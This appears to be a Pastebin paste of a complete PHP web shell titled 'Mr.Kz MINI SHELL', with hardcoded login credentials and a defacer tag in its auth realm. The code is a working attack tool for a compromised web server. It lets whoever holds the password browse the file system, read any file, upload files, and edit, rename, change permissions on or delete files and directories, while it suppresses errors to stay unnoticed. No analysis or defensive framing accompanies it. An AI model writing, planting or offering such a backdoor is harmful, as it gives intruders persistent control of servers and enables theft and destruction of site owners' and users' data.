Advertisement
Guest User

Untitled

a guest
Dec 2nd, 2018
112
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.08 KB | None | 0 0
  1. <?php
  2. // --- pop-up
  3.  
  4. $user = "zall";
  5.  
  6. $pass = "zall";
  7.  
  8. if (($_SERVER["PHP_AUTH_USER"] != $user) || (($_SERVER["PHP_AUTH_PW"]) != $pass))
  9.  
  10. {
  11.  
  12. header("WWW-Authenticate: Basic realm=\"dvildance was here\"");
  13.  
  14. header("HTTP/1.0 401 Unauthorized");
  15.  
  16. exit();
  17.  
  18. }
  19.  
  20. // --- php shell
  21. error_reporting(0);
  22. set_time_limit(0);
  23.  
  24. if(get_magic_quotes_gpc()){
  25. foreach($_POST as $key=>$value){
  26. $_POST[$key] = stripslashes($value);
  27. }
  28. } echo '<!DOCTYPE HTML>
  29. <html>
  30. <head>
  31. <title>Mr.Kz</title>
  32. <link href="" rel="stylesheet" type="text/css">
  33. <style>
  34. body {
  35. font-family: "tahoma", cursive;
  36. background-color: black;
  37. color:cyan;
  38. }
  39. #content tr:hover{
  40. text-shadow:0px 0px 10px;
  41. }
  42. #content .first{
  43. background-color: green;
  44. }
  45. table{
  46. border: 1px #000000 dotted;
  47. }
  48. a{
  49. color:cyan;
  50. text-decoration: none;
  51. }
  52. a:hover{
  53. color:white;
  54. text-shadow:0px 0px 10px transparent;
  55. }
  56. input,select,textarea{
  57. border: 1px white solid;
  58. -moz-border-radius: 5px;
  59. -webkit-border-radius:5px;
  60. border-radius:5px;
  61. }
  62. </style>
  63. </head>
  64. <body>
  65. <h1>
  66. <center>
  67. <font color="cyan">Mr.Kz MINI SHELL</font>
  68. </center>
  69. </h1>
  70. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  71. <tr>
  72. <td>
  73. <font color="white">Current Dir :</font> ';
  74.  
  75. if(isset($_GET['path'])){
  76. $path = $_GET['path'];
  77. } else{
  78. $path = getcwd();
  79. }
  80. $path = str_replace('\\','/',$path);
  81. $paths = explode('/',$path);
  82.  
  83. foreach($paths as $id=>$pat){
  84. if($pat == '' && $id == 0){
  85. $a = true;
  86. echo '<a href="?path=/">/</a>';
  87. continue;
  88. }
  89. if($pat == '') continue;
  90. echo '<a href="?path=';
  91. for($i=0;$i<=$id;$i++){
  92. echo "$paths[$i]";
  93. if($i != $id) echo "/";
  94. }
  95. echo '">'.$pat.'</a>/';
  96. } echo '</td></tr><tr><td>';
  97. if(isset($_FILES['file'])){
  98. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  99. echo '<font color="cyan">Upload Succeeded</font><br />';
  100. } else{
  101. echo '<font color="red">Upload Failed</font><br/>';
  102. }
  103. } echo '<form enctype="multipart/form-data" method="POST">
  104. <font color="white">File Upload :</font> <input type="file" name="file" />
  105. <input type="submit" value="upload" />
  106. </form>
  107. </td>
  108. </tr>';
  109.  
  110. if(isset($_GET['filesrc'])){
  111. echo "<tr><td>Current File : ";
  112. echo $_GET['filesrc'];
  113. echo '</tr></td></table><br />';
  114. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  115. } elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  116. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  117. if($_POST['opt'] == 'chmod'){
  118. if(isset($_POST['perm'])){
  119. if(chmod($_POST['path'],$_POST['perm'])){
  120. echo '<font color="cyan">Change Permission Successful</font><br/>';
  121. } else{
  122. echo '<font color="red">Change Permission Failed</font><br />';
  123. }
  124. } echo '<form method="POST">
  125. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  126. <input type="hidden" name="path" value="'.$_POST['path'].'">
  127. <input type="hidden" name="opt" value="chmod">
  128. <input type="submit" value="Go" />
  129. </form>';
  130. } elseif($_POST['opt'] == 'rename'){
  131. if(isset($_POST['newname'])){
  132. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  133. echo '<font color="cyan">Rename Successfully</font><br/>';
  134. } else{
  135. echo '<font color="red">Rename Failed</font><br />';
  136. }
  137. $_POST['name'] = $_POST['newname'];
  138. } echo '<form method="POST">
  139. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  140. <input type="hidden" name="path" value="'.$_POST['path'].'">
  141. <input type="hidden" name="opt" value="rename">
  142. <input type="submit" value="Go" />
  143. </form>';
  144. } elseif($_POST['opt'] == 'edit'){
  145. if(isset($_POST['src'])){
  146. $fp = fopen($_POST['path'],'w');
  147. if(fwrite($fp,$_POST['src'])){
  148. echo '<font color="cyan">Successfully Edit File</font><br/>';
  149. } else{
  150. echo '<font color="red">Failed to Edit File</font><br/>';
  151. } fclose($fp);
  152. } echo '<form method="POST">
  153. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  154. <input type="hidden" name="path" value="'.$_POST['path'].'">
  155. <input type="hidden" name="opt" value="edit">
  156. <input type="submit" value="Save" />
  157. </form>';
  158. } echo '</center>';
  159. } else{
  160. echo '</table><br/><center>';
  161. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  162. if($_POST['type'] == 'dir'){
  163. if(rmdir($_POST['path'])){
  164. echo '<font color="cyan">Deleted Directory</font><br/>';
  165. } else{
  166. echo '<font color="red">Directory Failed Deleted</font><br/>';
  167. }
  168. } elseif($_POST['type'] == 'file'){
  169. if(unlink($_POST['path'])){
  170. echo '<font color="cyan">Deleted Files</font><br/>';
  171. } else{
  172. echo '<font color="red">File Failed Deleted</font><br/>';
  173. }
  174. }
  175. } echo '</center>';
  176. $scandir = scandir($path);
  177. echo '<div id="content">
  178. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  179. <tr class="first">
  180. <td>
  181. <center>Name</peller></center>
  182. </td>
  183. <td>
  184. <center>Size</peller></center>
  185. </td>
  186. <td>
  187. <center>Permission</peller></center>
  188. </td>
  189. <td>
  190. <center>Modify</peller></center>
  191. </td>
  192. </tr>';
  193.  
  194. foreach($scandir as $dir){
  195. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  196. echo '<tr>
  197. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  198. <td><center>--</center></td>
  199. <td><center>';
  200. if(is_writable($path.'/'.$dir)) echo '<font color="cyan">';
  201. elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  202. echo perms($path.'/'.$dir);
  203. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  204. echo '</center></td>
  205. <td><center><form method="POST" action="?option&path='.$path.'">
  206. <select name="opt">
  207. <option value="">Select</option>
  208. <option value="delete">Delete</option>
  209. <option value="chmod">Chmod</option>
  210. <option value="rename">Rename</option>
  211. </select>
  212. <input type="hidden" name="type" value="dir">
  213. <input type="hidden" name="name" value="'.$dir.'">
  214. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  215. <input type="submit" value=">">
  216. </form></center></td>
  217. </tr>';
  218. } echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  219.  
  220. foreach($scandir as $file){
  221. if(!is_file($path.'/'.$file)) continue;
  222. $size = filesize($path.'/'.$file)/1024;
  223. $size = round($size,3);
  224. if($size >= 1024){
  225. $size = round($size/1024,2).' MB';
  226. } else{
  227. $size = $size.' KB';
  228. } echo '<tr>
  229. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  230. <td><center>'.$size.'</center></td>
  231. <td><center>';
  232.  
  233. if(is_writable($path.'/'.$file)) echo '<font color="cyan">';
  234. elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
  235. echo perms($path.'/'.$file);
  236. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  237. echo '</center></td>
  238. <td><center><form method="POST" action="?option&path='.$path.'">
  239. <select name="opt">
  240. <option value="">Select</option>
  241. <option value="delete">Delete</option>
  242. <option value="chmod">Chmod</option>
  243. <option value="rename">Rename</option>
  244. <option value="edit">Edit</option>
  245. </select>
  246. <input type="hidden" name="type" value="file">
  247. <input type="hidden" name="name" value="'.$file.'">
  248. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  249. <input type="submit" value=">">
  250. </form></center></td>
  251. </tr>';
  252. } echo '</table></div>';
  253. } echo "<br><center>Copyright © 2K19 - </body></html>" . (int)date('Y'). " Mr.Kz";
  254.  
  255. function perms($file){
  256. $perms = fileperms($file);
  257. if (($perms & 0xC000) == 0xC000) {
  258. // Socket
  259. $info = 's';
  260. } elseif (($perms & 0xA000) == 0xA000) {
  261. // Symbolic Link
  262. $info = 'l';
  263. } elseif (($perms & 0x8000) == 0x8000) {
  264. // Regular
  265. $info = '-';
  266. } elseif (($perms & 0x6000) == 0x6000) {
  267. // Block special
  268. $info = 'b';
  269. } elseif (($perms & 0x4000) == 0x4000) {
  270. // Directory
  271. $info = 'd';
  272. } elseif (($perms & 0x2000) == 0x2000) {
  273. // Character special
  274. $info = 'c';
  275. } elseif (($perms & 0x1000) == 0x1000) {
  276. // FIFO pipe
  277. $info = 'p';
  278. } else {
  279. // Unknown
  280. $info = 'u';
  281. }
  282. // Owner
  283. $info .= (($perms & 0x0100) ? 'r' : '-');
  284. $info .= (($perms & 0x0080) ? 'w' : '-');
  285. $info .= (($perms & 0x0040) ?
  286. (($perms & 0x0800) ? 's' : 'x' ) :
  287. (($perms & 0x0800) ? 'S' : '-'));
  288. // Group
  289. $info .= (($perms & 0x0020) ? 'r' : '-');
  290. $info .= (($perms & 0x0010) ? 'w' : '-');
  291. $info .= (($perms & 0x0008) ?
  292. (($perms & 0x0400) ? 's' : 'x' ) :
  293. (($perms & 0x0400) ? 'S' : '-'));
  294. // World
  295. $info .= (($perms & 0x0004) ? 'r' : '-');
  296. $info .= (($perms & 0x0002) ? 'w' : '-');
  297. $info .= (($perms & 0x0001) ?
  298. (($perms & 0x0200) ? 't' : 'x' ) :
  299. (($perms & 0x0200) ? 'T' : '-'));
  300. return $info;
  301. }
  302. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement